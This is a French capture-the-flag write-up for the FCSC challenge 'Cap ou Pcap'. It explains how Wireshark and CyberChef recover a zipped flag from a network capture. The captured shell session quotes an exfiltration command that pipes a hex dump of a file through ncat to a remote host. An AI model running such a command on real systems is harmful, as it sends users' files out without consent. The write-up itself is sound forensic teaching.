Solution de marc.poppleton pour Cap ou Pcap

intro forensics réseau

6 octobre 2025

Pour analyser la capture réseau j’ai utilisé les outils Wireshark et CyberChef.

Le fichier PCAP comporte peu d’échanges entre les deux machines, ce qui simplifie énormément l’analyse.

Lors que l’on prend la première trame et que l’on sélectionne le menu “Follow TCP Stream” on obtient ceci :

id
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
pwd
/home/fcsc
w
 07:10:25 up 24 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
fcsc     tty7     :0               06:46   24:47   3.13s  0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
ls Documents
flag.zip
file Documents/flag.zip
Documents/flag.zip: Zip archive data, at least v2.0 to extract
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
exit

On observe qu’il s’agit d’une série de commandes shell envoyé sur une connexion. L’utilisateur y liste les répertoires puis les fichiers dans le répertoire Documents. Le fichier flag.zip semble présenter un intérêt pour l’utilisateur qui essaie de l’ouvrir, en vain. L’utilisateur combine alors plusieurs commande “pipées” pour extraire le fichier de la machine.

xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200

Il commence par convertir le fichier en dump hexa avec la commande xxd, puis en supprime les caractères \n avant d’envoyer tout ceci à la commande ncat pour extraire le contenu vers la machine 172.20.20.133.

On sait donc que dans les trames se trouve le flux ncat contenant le dump hexa du fichier flag.zip. En observant la taille des paquets de la capture on observe que l’un d’entre-eux, vers la fin, a une taille significativement plus importante que les autres. En choisissant le menu Follow TCP Stream sur ce paquet en en précisant le format hexdump on peut extraire un fichier hexa.

A l’aide de CyberChef, en combinant les recettes nous pouvons inverser les opérations réalisées par l’utilisateur, à savoir la conversion en dump puis en fichier zip. La recette suivante:

From_Hexdump()From_Hex('None')Unzip('',false)

Nous donne un fichier flag.txt dont le contenu est le flag.